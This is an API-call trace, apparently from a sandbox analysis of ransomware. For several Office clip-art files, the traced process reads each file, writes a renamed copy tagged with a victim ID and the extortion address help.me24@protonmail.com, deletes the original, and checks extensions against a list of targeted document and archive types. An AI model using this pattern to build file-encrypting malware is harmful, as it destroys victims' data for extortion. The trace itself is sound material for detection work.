	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.018] lstrlenW (lpString=".jpg") returned 4
	[0169.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.019] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.019] lstrlenW (lpString="J0103812.WMF") returned 12
	[0169.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0169.019] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5908) returned 1
	[0169.020] CloseHandle (hObject=0x440) returned 1
	[0169.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220
	[0169.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0169.020] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.020] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0169.021] GetLastError () returned 0x0
	[0169.021] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0169.024] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0169.025] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.025] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.025] SetEndOfFile (hFile=0x47c) returned 1
	[0169.025] CloseHandle (hObject=0x47c) returned 1
	[0169.025] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.025] SetEndOfFile (hFile=0x440) returned 1
	[0169.059] CloseHandle (hObject=0x440) returned 1
	[0169.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.060] lstrlenW (lpString=".doc") returned 4
	[0169.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.060] lstrlenW (lpString=".docx") returned 5
	[0169.060] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.061] lstrlenW (lpString=".pdf") returned 4
	[0169.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".xls") returned 4
	[0169.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.061] lstrlenW (lpString=".xlsx") returned 5
	[0169.061] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.061] lstrlenW (lpString=".ppt") returned 4
	[0169.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.061] lstrlenW (lpString=".zip") returned 4
	[0169.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.061] lstrlenW (lpString=".rar") returned 4
	[0169.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".bz2") returned 4
	[0169.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString=".7z") returned 3
	[0169.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.061] lstrlenW (lpString=".dbf") returned 4
	[0169.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.061] lstrlenW (lpString=".1cd") returned 4
	[0169.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.061] lstrlenW (lpString=".jpg") returned 4
	[0169.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.061] lstrlenW (lpString=".doc") returned 4
	[0169.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString=".docx") returned 5
	[0169.062] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.062] lstrlenW (lpString=".pdf") returned 4
	[0169.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString=".xls") returned 4
	[0169.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.062] lstrlenW (lpString=".xlsx") returned 5
	[0169.062] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.062] lstrlenW (lpString=".ppt") returned 4
	[0169.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.062] lstrlenW (lpString=".zip") returned 4
	[0169.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.062] lstrlenW (lpString=".rar") returned 4
	[0169.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString=".bz2") returned 4
	[0169.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString=".7z") returned 3
	[0169.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.062] lstrlenW (lpString=".dbf") returned 4
	[0169.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.062] lstrlenW (lpString=".1cd") returned 4
	[0169.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0169.062] lstrlenW (lpString=".jpg") returned 4
	[0169.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.062] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.062] lstrlenW (lpString="J0103850.WMF") returned 12
	[0169.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0169.067] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=23596) returned 1
	[0169.067] CloseHandle (hObject=0x440) returned 1
	[0169.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220
	[0169.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0169.067] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.067] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0169.068] GetLastError () returned 0x0
	[0169.068] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x5c2c, lpOverlapped=0x0) returned 1
	[0169.354] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x5c30, lpOverlapped=0x0) returned 1
	[0169.356] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.356] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.356] SetEndOfFile (hFile=0x47c) returned 1
	[0169.356] CloseHandle (hObject=0x47c) returned 1
	[0169.356] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.356] SetEndOfFile (hFile=0x440) returned 1
	[0169.365] CloseHandle (hObject=0x440) returned 1
	[0169.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1
	[0169.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.764] lstrlenW (lpString=".doc") returned 4
	[0169.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.764] lstrlenW (lpString=".docx") returned 5
	[0169.764] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.764] lstrlenW (lpString=".pdf") returned 4
	[0169.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.764] lstrlenW (lpString=".xls") returned 4
	[0169.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.764] lstrlenW (lpString=".xlsx") returned 5
	[0169.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.764] lstrlenW (lpString=".ppt") returned 4
	[0169.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.764] lstrlenW (lpString=".zip") returned 4
	[0169.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.764] lstrlenW (lpString=".rar") returned 4
	[0169.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.764] lstrlenW (lpString=".bz2") returned 4
	[0169.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.764] lstrlenW (lpString=".7z") returned 3
	[0169.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.764] lstrlenW (lpString=".dbf") returned 4
	[0169.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString=".1cd") returned 4
	[0169.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString=".jpg") returned 4
	[0169.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString=".doc") returned 4
	[0169.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString=".docx") returned 5
	[0169.765] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.765] lstrlenW (lpString=".pdf") returned 4
	[0169.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString=".xls") returned 4
	[0169.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.765] lstrlenW (lpString=".xlsx") returned 5
	[0169.765] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.765] lstrlenW (lpString=".ppt") returned 4
	[0169.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString=".zip") returned 4
	[0169.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.765] lstrlenW (lpString=".rar") returned 4
	[0169.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString=".bz2") returned 4
	[0169.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString=".7z") returned 3
	[0169.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString=".dbf") returned 4
	[0169.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.765] lstrlenW (lpString=".1cd") returned 4
	[0169.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0169.766] lstrlenW (lpString=".jpg") returned 4
	[0169.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.766] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.766] lstrlenW (lpString="J0105240.WMF") returned 12
	[0169.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.781] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=11532) returned 1
	[0169.781] CloseHandle (hObject=0x534) returned 1
	[0169.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220
	[0169.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.932] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.932] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.933] GetLastError () returned 0x0
	[0169.933] ReadFile (in: hFile=0x4a4, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2d0c, lpOverlapped=0x0) returned 1
	[0169.935] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2d10, lpOverlapped=0x0) returned 1
	[0169.937] ReadFile (in: hFile=0x4a4, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.937] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.937] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.937] CloseHandle (hObject=0x4a8) returned 1
	[0169.937] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.937] SetEndOfFile (hFile=0x4a4) returned 1
	[0169.940] CloseHandle (hObject=0x4a4) returned 1
	[0169.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1
	[0169.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.941] lstrlenW (lpString=".doc") returned 4
	[0169.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.941] lstrlenW (lpString=".docx") returned 5
	[0169.942] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.942] lstrlenW (lpString=".pdf") returned 4
	[0169.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString=".xls") returned 4
	[0169.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.942] lstrlenW (lpString=".xlsx") returned 5
	[0169.942] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.942] lstrlenW (lpString=".ppt") returned 4
	[0169.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.942] lstrlenW (lpString=".zip") returned 4
	[0169.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.942] lstrlenW (lpString=".rar") returned 4
	[0169.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString=".bz2") returned 4
	[0169.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString=".7z") returned 3
	[0169.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.942] lstrlenW (lpString=".dbf") returned 4
	[0169.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.942] lstrlenW (lpString=".1cd") returned 4
	[0169.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.942] lstrlenW (lpString=".jpg") returned 4
	[0169.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.942] lstrlenW (lpString=".doc") returned 4
	[0169.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.942] lstrlenW (lpString=".docx") returned 5
	[0169.942] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.942] lstrlenW (lpString=".pdf") returned 4
	[0169.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.943] lstrlenW (lpString=".xls") returned 4
	[0169.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.943] lstrlenW (lpString=".xlsx") returned 5
	[0169.943] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.943] lstrlenW (lpString=".ppt") returned 4
	[0169.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.943] lstrlenW (lpString=".zip") returned 4
	[0169.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.943] lstrlenW (lpString=".rar") returned 4
	[0169.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.943] lstrlenW (lpString=".bz2") returned 4
	[0169.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.943] lstrlenW (lpString=".7z") returned 3
	[0169.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.943] lstrlenW (lpString=".dbf") returned 4
	[0169.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.943] lstrlenW (lpString=".1cd") returned 4
